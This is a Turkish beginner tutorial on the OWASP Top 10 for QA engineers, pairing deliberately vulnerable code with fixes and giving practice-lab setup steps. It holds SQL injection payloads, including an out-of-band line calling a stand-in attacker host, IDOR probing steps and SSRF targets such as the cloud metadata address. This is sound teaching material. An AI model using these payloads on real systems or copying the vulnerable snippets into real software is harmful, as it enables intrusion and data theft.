Makale 10: OWASP Top 10 — Yeni Başlayanlar için Derinlemesine İnceleme
OWASP Top 10: Yeni Başlayanlar için Derinlemesine İnceleme
Dünyanın en kritik web uygulama güvenlik riskleri hakkında bilmeniz gereken her şey — basitçe açıklanmış!
🎯 Bu Makale Kimin İçin?
Bu makale şunlar için hazırlandı:
- ✅ Yeni başlayanlar — güvenlik öğrenmeye yeni başlayanlar
- ✅ QA mühendisleri — OWASP Top 10’u anlamak isteyenler
- ✅ Geliştiriciler — daha güvenli kod yazmak isteyenler
- ✅ Öğrenciler — mülakatlara hazırlananlar
Ön bilgi gerekmiyor! Her şeyi basit benzetmelerle açıklayacağız.
📍 Buradasınız:
[✓] Makale 1: QA Temelleri
[✓] Makale 2: QA Pratiği
[✓] Makale 3: QA için DSA
[✓] Makale 4: Otomasyon Framework'leri
[✓] Makale 5: CI/CD
[✓] Makale 6: Test Tasarım Teknikleri
[✓] Makale 7: Performans Testi
[✓] Makale 8: Apple'da İş Bulmak
[✓] Makale 9: Güvenlik Testi
[→] Makale 10: OWASP Top 10 Derinlemesine İnceleme
İlerleme: %100 + Bonus ✨
📚 Başlamadan Önce: Güvenlik 101
Zafiyet Nedir?
Zafiyet = programdaki bir hacker’ın kullanabileceği zayıf nokta. Şöyle düşünün:
🔓 Kilitlenmemiş kapı → Hacker girebilir
🪟 Açık pencere → Hacker tırmanabilir
📝 Notta şifre → Hacker çalabilir
OWASP Nedir?
OWASP = Open Web Application Security Project (Açık Web Uygulama Güvenliği Projesi)
- 🌍 Kar amacı gütmeyen kuruluş
- 📊 500,000+ uygulamadan veri toplar
- 📋 Top 10 oluşturur — en tehlikeli zafiyetler listesi
- 🔄 Her 3-4 yılda güncellenir
OWASP Top 10 — Hızlı Bakış
| # | İsim | 5 Yaşındakilere Açıklama |
|---|---|---|
| A01 | Bozuk Erişim Kontrolü | ”Başkasının odasına girdim!” |
| A02 | Kriptografik Hatalar | ”Sırlar açıkta duruyor” |
| A03 | Enjeksiyonlar | ”Metin kutusunda kötü komutlar” |
| A04 | Güvensiz Tasarım | ”Ev kilitsiz inşa edilmiş” |
| A05 | Yanlış Yapılandırma | ”Anahtarı paspasın altında bıraktılar” |
| A06 | Güncel Olmayan Bileşenler | ”Eski paslı kilit” |
| A07 | Kimlik Sorunları | ”Belge kontrolü yapılmadan içeri aldılar” |
| A08 | Bütünlük İhlali | ”Birisi paketi değiştirdi” |
| A09 | Loglama Eksikliği | ”Güvenlik kamerası yok” |
| A10 | İstek Sahteciliği (SSRF) | “Güvenliği kapıyı açması için kandırdılar” |
🔬 Nasıl Pratik Yapılır (Güvenli ve Yasal)
Zafiyetleri test etmeden önce güvenli bir ortama ihtiyacınız var. İşte nasıl kurulur:
Seçenek 1: OWASP WebGoat (Yeni başlayanlar için önerilir)
# Docker yükleyin, sonra çalıştırın:
docker run -p 8080:8080 webgoat/webgoat
# Açın: http://localhost:8080/WebGoat
Seçenek 2: DVWA (Damn Vulnerable Web Application)
docker run -d -p 80:80 vulnerables/web-dvwa
# Açın: http://localhost
# Giriş: admin / Şifre: password
Seçenek 3: Juice Shop (Modern)
docker run -p 3000:3000 bkimminich/juice-shop
# Açın: http://localhost:3000
⚠️ ÖNEMLİ: Bu teknikleri İZİN ALMADAN gerçek sitelerde ASLA test etmeyin! Bu yasadışıdır.
OWASP Nedir?
OWASP (Open Web Application Security Project), yazılım güvenliğini geliştirmek için çalışan kar amacı gütmeyen bir vakıftır. OWASP Top 10, yüzlerce kuruluştan gelen gerçek dünya verilerine dayanarak her 3-4 yılda bir güncellenen amiral gemisi farkındalık belgeleridir.
OWASP Top 10 Neden Önemli
📊 500,000+ uygulamadan gelen verilere dayalı
🌍 Web güvenliği için endüstri standardı
📋 Güvenlik sertifikaları için gerekli bilgi
💼 Çoğu QA/SDET iş görüşmesinde bekleniyor
🔒 Güvenlik testi için temel
OWASP Top 10 Evrimi
| Yıl | Odak Alanları |
|---|---|
| 2017 | Injection #1, XSS ayrı |
| 2021 | Broken Access Control #1, Yeni kategoriler eklendi |
| 2024+ | Beklenen: API güvenliği, AI/ML güvenliği |
A01:2021 - Bozuk Erişim Kontrolü
🏨 Basit Benzetme: Otel
Bir otel düşünün:
- Size 101 numaralı odanın anahtarını verdiler
- Ama bu anahtar aniden TÜM odalara açıyor!
- 102, 103, 104 numaralı odalara girebilirsiniz…
- İşte bu Broken Access Control (Bozuk Erişim Kontrolü)! 🏨
🎯 Genel Bakış
Broken Access Control #5’ten (2017) #1’e (2021) yükseldi. Kullanıcılar izinleri dışında hareket edebildiğinde ortaya çıkar.
Etki: Yetkisiz veri erişimi, yetki yükseltme, veri hırsızlığı, sistem ele geçirme.
🎮 Kendiniz Deneyin: IDOR Alıştırması
IDOR = Insecure Direct Object Reference (Güvensiz Doğrudan Nesne Referansı)
Adım 1: ID içeren bir URL bulun
https://example.com/profile/123
Adım 2: ID'si 123 olan kullanıcı olarak giriş yapın
Adım 3: Sayıyı değiştirmeyi deneyin:
https://example.com/profile/124
https://example.com/profile/1
https://example.com/profile/admin
Adım 4: Başkasının verilerini görüyorsanız — bu IDOR! 🐛
Ayrıca deneyin:
/api/users/123/orders
/api/users/124/orders ← Başkasının siparişleri?
/download?file=report_123.pdf
/download?file=report_124.pdf ← Başkasının raporu?
Gerçek Dünya Örnekleri
🔴 2019: Capital One İhlali - SSRF ile 100M kayıt açığa çıktı
🔴 2021: Parler Veri Sızıntısı - Sıralı ID'ler tüm gönderileri indirmeye izin verdi
🔴 2022: T-Mobile API - Saldırganlar 37M müşteri kaydına erişti
Erişim Kontrolü Zafiyet Türleri
1. Yatay Yetki Yükseltme (IDOR)
Kullanıcı A, Kullanıcı B’nin kaynaklarına erişir.
# SAVUNMASIZ: Sahiplik kontrolü yok
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = Order.query.get(order_id)
return jsonify(order.to_dict()) # Herkes herhangi bir siparişe erişebilir!
# GÜVENLİ: Sahipliği doğrula
@app.route('/api/orders/<order_id>')
@login_required
def get_order(order_id):
order = Order.query.get(order_id)
if order.user_id != current_user.id:
abort(403) # Yasak
return jsonify(order.to_dict())
2. Dikey Yetki Yükseltme
Normal kullanıcı admin yetkileri kazanır.
# SAVUNMASIZ: Sadece giriş kontrolü
@app.route('/admin/users')
@login_required
def admin_users():
return User.query.all() # Giriş yapmış herkes erişebilir!
# GÜVENLİ: Rol kontrolü
@app.route('/admin/users')
@login_required
@admin_required # Dekoratör rolü kontrol eder
def admin_users():
return User.query.all()
3. Eksik Fonksiyon Seviyesi Erişim Kontrolü
// Frontend admin düğmesini gizler ama...
// SAVUNMASIZ: API'de erişim kontrolü yok
app.post('/api/delete-user/:id', (req, res) => {
User.delete(req.params.id); // Rol kontrolü yok!
res.json({ success: true });
});
// GÜVENLİ: Her zaman backend'de doğrula
app.post('/api/delete-user/:id', authenticate, authorize('admin'), (req, res) => {
User.delete(req.params.id);
res.json({ success: true });
});
Kapsamlı Erişim Kontrolü Test Paketi
import pytest
from app import create_app, db
from models import User, Order
class TestAccessControl:
"""Kapsamlı erişim kontrolü test paketi"""
@pytest.fixture
def setup(self):
"""Farklı rollerle test kullanıcıları oluştur"""
self.admin = User(username='admin', role='admin')
self.user1 = User(username='user1', role='user')
self.user2 = User(username='user2', role='user')
self.order1 = Order(user=self.user1, amount=100)
self.order2 = Order(user=self.user2, amount=200)
db.session.add_all([self.admin, self.user1, self.user2,
self.order1, self.order2])
db.session.commit()
# ========== IDOR Testleri ==========
def test_idor_order_access(self, client, setup):
"""Kullanıcı başka bir kullanıcının siparişine erişememeli"""
# user1 olarak giriş yap
client.post('/login', data={'username': 'user1', 'password': 'pass'})
# Kendi siparişine erişim - başarılı olmalı
response = client.get(f'/api/orders/{self.order1.id}')
assert response.status_code == 200
# user2'nin siparişine erişim - başarısız olmalı
response = client.get(f'/api/orders/{self.order2.id}')
assert response.status_code == 403
# ========== Dikey Yükseltme Testleri ==========
def test_regular_user_cannot_access_admin_panel(self, client, setup):
"""Normal kullanıcı admin endpoint'lerine erişememeli"""
client.post('/login', data={'username': 'user1', 'password': 'pass'})
admin_endpoints = [
'/admin/dashboard',
'/admin/users',
'/admin/settings',
'/api/admin/reports',
'/api/admin/logs',
]
for endpoint in admin_endpoints:
response = client.get(endpoint)
assert response.status_code in [401, 403], \
f"Kullanıcı admin endpoint'ine erişti: {endpoint}"
A02:2021 - Kriptografik Hatalar
🎯 Genel Bakış
Daha önce “Hassas Veri Açığa Çıkması” olarak adlandırılıyordu. Hassas verilerin açığa çıkmasına yol açan kriptografi ile ilgili hatalara odaklanır.
Etki: Veri ihlalleri, kimlik hırsızlığı, uyumluluk ihlalleri (GDPR, PCI-DSS).
Gerçek Dünya Örnekleri
🔴 2013: Adobe İhlali - Zayıf şifreleme ile 153M şifre (3DES)
🔴 2016: LinkedIn - Tuzsuz SHA-1 ile 117M şifre
🔴 2019: Facebook - Düz metin olarak saklanan 600M şifre
Kriptografik Hata Türleri
1. Aktarımdaki Veriler
# SAVUNMASIZ: TLS olmadan HTTP
requests.post('http://api.example.com/login',
data={'password': 'secret123'})
# GÜVENLİ: Sertifika doğrulamalı HTTPS
requests.post('https://api.example.com/login',
data={'password': 'secret123'},
verify=True)
2. Durumundaki Veriler
# SAVUNMASIZ: Düz metin şifre saklama
def create_user(username, password):
user = User(username=username, password=password) # Düz metin!
db.save(user)
# SAVUNMASIZ: Zayıf hash'leme (MD5, SHA-1)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# GÜVENLİ: Tuzlu bcrypt kullan
from bcrypt import hashpw, gensalt, checkpw
def create_user(username, password):
hashed = hashpw(password.encode(), gensalt(rounds=12))
user = User(username=username, password_hash=hashed)
db.save(user)
A03:2021 - Enjeksiyon
🎯 Genel Bakış
Enjeksiyon açıkları, güvenilmeyen veriler bir komut veya sorgunun parçası olarak bir yorumlayıcıya gönderildiğinde ortaya çıkar.
Etki: Veri hırsızlığı, veri bozulması, hizmet reddi, tam sistem ele geçirme.
Enjeksiyon Saldırı Türleri
┌─────────────────────────────────────────────────────────┐
│ ENJEKSİYON TÜRLERİ │
├─────────────────────────────────────────────────────────┤
│ SQL Injection │ Veritabanı sorguları │
│ NoSQL Injection │ MongoDB, CouchDB sorguları │
│ OS Command │ Kabuk komutları │
│ LDAP Injection │ Dizin servisleri │
│ XPath Injection │ XML sorguları │
│ Template Injection │ Sunucu tarafı şablonlar (SSTI) │
│ Header Injection │ HTTP başlıkları │
│ Log Injection │ Uygulama logları │
└─────────────────────────────────────────────────────────┘
SQL Injection Derinlemesine
SQL Injection Türleri
-- 1. UNION-based (veri çıkarma)
' UNION SELECT username, password FROM users--
-- 2. Error-based (hatalar aracılığıyla çıkarma)
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
-- 3. Blind Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--
-- 4. Blind Time-based
' AND IF(1=1, SLEEP(5), 0)--
-- 5. Out-of-band (DNS/HTTP sızdırma)
'; EXEC xp_dirtree '//attacker.com/share'--
XSS Derinlemesine
XSS Türleri
┌────────────────────────────────────────────────────────┐
│ XSS TÜRLERİ │
├────────────────────────────────────────────────────────┤
│ Stored XSS │ Script veritabanında saklanır │
│ │ Sayfa yüklendiğinde çalışır │
│ │ Örnek: Forum gönderisi, profil bio │
├────────────────────────────────────────────────────────┤
│ Reflected XSS │ Script URL/istekte │
│ │ Yanıtta geri yansıtılır │
│ │ Örnek: Arama sonuçları, hata msg │
├────────────────────────────────────────────────────────┤
│ DOM XSS │ Script DOM'u doğrudan manipüle eder │
│ │ Sunucu katılımı yok │
│ │ Örnek: document.write(location) │
└────────────────────────────────────────────────────────┘
A04:2021 - Güvensiz Tasarım
🎯 Genel Bakış
2021’de YENİ. Uygulama hataları yerine tasarım kusurlarına odaklanır. Bunlar sadece daha iyi kodla düzeltilemeyecek temel mimari sorunlardır.
Etki: İş mantığı kusurları, güvenlik kontrolü atlatma, dolandırıcılık, veri kaybı.
Güvensiz Tasarım Desenleri
1. Eksik Hız Sınırlama
# GÜVENSİZ TASARIM: Şifre sıfırlamada hız sınırlama yok
@app.route('/reset-password', methods=['POST'])
def reset_password():
email = request.form['email']
send_reset_email(email) # Sınırsız çağrılabilir!
return "Sıfırlama e-postası gönderildi"
# GÜVENLİ TASARIM: Hız sınırlama + doğrulama
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/reset-password', methods=['POST'])
@limiter.limit("3 per hour") # IP başına saatte maks 3 istek
def reset_password():
email = request.form['email']
if User.query.filter_by(email=email).first():
send_reset_email(email)
# Her zaman aynı yanıt döndür (enumeration önleme)
return "E-posta mevcutsa sıfırlama bağlantısı gönderildi"
A05:2021 - Güvenlik Yanlış Yapılandırması
🎯 Genel Bakış
Güvenlik yanlış yapılandırması, güvenlik ayarları yanlış tanımlandığında, uygulandığında veya sürdürüldüğünde oluşur.
Etki: Bilgi ifşası, sistem ele geçirme, varsayılan kimlik bilgisi sömürüsü.
Güvenlik Başlıkları Referansı
# Temel Güvenlik Başlıkları
# 1. Strict-Transport-Security (HSTS)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# 2. Content-Security-Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'
# 3. X-Content-Type-Options
X-Content-Type-Options: nosniff
# 4. X-Frame-Options
X-Frame-Options: DENY
# 5. X-XSS-Protection
X-XSS-Protection: 1; mode=block
# 6. Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin
A06:2021 - Savunmasız ve Eski Bileşenler
🎯 Genel Bakış
Bilinen güvenlik açıkları olan bileşenleri kullanmak uygulama savunmasını zayıflatabilir.
Etki: Bilinen CVE’lerin sömürülmesi, veri ihlalleri, sistem ele geçirme.
Gerçek Dünya Örnekleri
🔴 2017: Equifax - Yamasız Apache Struts → 147M kayıt
🔴 2021: Log4Shell - On yılın en kritik zafiyeti
🔴 2022: Spring4Shell - Spring Framework RCE
Bileşen Zafiyet Testi
# JavaScript/Node.js
npm audit
# Python
pip-audit
safety check
# Docker görüntüleri
docker scan myimage:latest
trivy image myimage:latest
A07:2021 - Kimlik Doğrulama ve Tanımlama Hataları
🎯 Genel Bakış
Daha önce “Broken Authentication”. Kullanıcı kimliği onayı ve oturum yönetimi zayıflıkları.
Etki: Hesap ele geçirme, kimlik hırsızlığı, yetkisiz erişim.
Kimlik Doğrulama Zafiyetleri
┌────────────────────────────────────────────────────────┐
│ KİMLİK DOĞRULAMA ZAFİYETLERİ │
├────────────────────────────────────────────────────────┤
│ Zayıf şifreler │ Karmaşıklık gereksinimleri yok│
│ Credential stuffing │ Hız sınırlama yok │
│ Session fixation │ Session ID değişmiyor │
│ Session hijacking │ Güvensiz oturum token'ları │
│ Broken "remember me" │ Kalıcı token sorunları │
│ Password reset flaws │ Tahmin edilebilir token'lar │
│ MFA bypass │ Zayıf MFA uygulaması │
└────────────────────────────────────────────────────────┘
A08:2021 - Yazılım ve Veri Bütünlüğü Hataları
🎯 Genel Bakış
YENİ kategori, A08:2017-Güvensiz Deserializasyonu CI/CD ve yazılım tedarik zinciri ile ilgili yeni risklerle birleştiriyor.
Etki: Uzaktan kod yürütme, tedarik zinciri saldırıları, kötü amaçlı güncellemeler.
Güvensiz Deserializasyon
# SAVUNMASIZ: Pickle deserializasyonu
import pickle
@app.route('/load-session')
def load_session():
session_data = request.cookies.get('session')
return pickle.loads(base64.b64decode(session_data)) # RCE!
# GÜVENLİ: JSON veya imzalı serializasyon kullan
import json
from itsdangerous import URLSafeSerializer
serializer = URLSafeSerializer(app.secret_key)
@app.route('/load-session')
def load_session():
session_data = request.cookies.get('session')
return serializer.loads(session_data) # Güvenli!
A09:2021 - Güvenlik Loglama ve İzleme Hataları
🎯 Genel Bakış
Yetersiz loglama, tespit, izleme ve aktif yanıt, saldırganların sistemlere daha fazla saldırmasına izin verir.
Etki: Tespit edilmemiş ihlaller, gecikmiş olay yanıtı, uyumluluk hataları.
Ne Loglanmalı
┌────────────────────────────────────────────────────────┐
│ LOGLANACAK GÜVENLİK OLAYLARI │
├────────────────────────────────────────────────────────┤
│ Kimlik doğrulama │ Girişler, hatalar, kilitlemeler│
│ Yetkilendirme │ Erişim reddedildi olayları │
│ Girdi doğrulama │ Reddedilen kötü amaçlı girdi │
│ Oturum yönetimi │ Oluşturma, yok etme │
│ Hassas işlemler │ Şifre değişiklikleri, ödemeler│
│ Admin işlemleri │ Kullanıcı oluşturma, rol değiş│
│ Sistem olayları │ Başlatma, kapatma, hatalar │
└────────────────────────────────────────────────────────┘
A10:2021 - Sunucu Tarafı İstek Sahteciliği (SSRF)
🎯 Genel Bakış
2021’de YENİ. SSRF, bir web uygulaması kullanıcı tarafından sağlanan URL’yi doğrulamadan uzak kaynak getirdiğinde oluşur.
Etki: İç ağ taraması, bulut metadata erişimi, veri sızdırma.
SSRF Saldırı Senaryoları
┌────────────────────────────────────────────────────────┐
│ SSRF SALDIRI HEDEFLERİ │
├────────────────────────────────────────────────────────┤
│ Bulut metadata │ 169.254.169.254 (AWS/GCP/Azure)│
│ İç servisler │ localhost, 127.0.0.1, 10.x.x.x│
│ İç API'ler │ İç mikroservisler │
│ Veritabanı │ localhost'ta Redis, MongoDB │
│ Admin panelleri │ İç admin arayüzleri │
│ Dosya sistemi │ file:// protokolü │
└────────────────────────────────────────────────────────┘
Pratik Laboratuvarlar
Laboratuvar Ortamınızı Kurun
# 1. OWASP WebGoat
docker run -p 8080:8080 webgoat/webgoat
# 2. DVWA (Damn Vulnerable Web App)
docker run -d -p 80:80 vulnerables/web-dvwa
# 3. Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop
# 4. PortSwigger Labs
# https://portswigger.net/web-security
Özet: OWASP Top 10 Hızlı Referans
| # | Zafiyet | Test Odağı | Araçlar |
|---|---|---|---|
| A01 | Broken Access Control | IDOR, yetki yükseltme | Burp, manuel |
| A02 | Cryptographic Failures | HTTPS, şifre saklama | SSLyze |
| A03 | Injection | SQLi, XSS, command injection | SQLMap, Burp |
| A04 | Insecure Design | İş mantığı, hız sınırlama | Manuel |
| A05 | Security Misconfiguration | Başlıklar, varsayılanlar | Nikto, curl |
| A06 | Vulnerable Components | Bağımlılıklar | npm audit, Snyk |
| A07 | Authentication Failures | Oturumlar, şifreler, MFA | Burp, manuel |
| A08 | Integrity Failures | Deserializasyon, CI/CD | ysoserial |
| A09 | Logging Failures | Log kapsamı, maskeleme | Log inceleme |
| A10 | SSRF | URL doğrulama, metadata | Burp, curl |
Sırada Ne Var?
- Her gün pratik yapın - WebGoat, DVWA, Juice Shop
- Sertifika alın - CompTIA Security+, CEH, OSCP
- Bug bounty’lere katılın - HackerOne, Bugcrowd
- Daha fazla okuyun - OWASP Testing Guide, Web Hacker’s Handbook
- Güncel kalın - OWASP’ı takip edin
OWASP Top 10’da ustalaşın ve güvenlik odaklı bir QA mühendisi olun! 🔐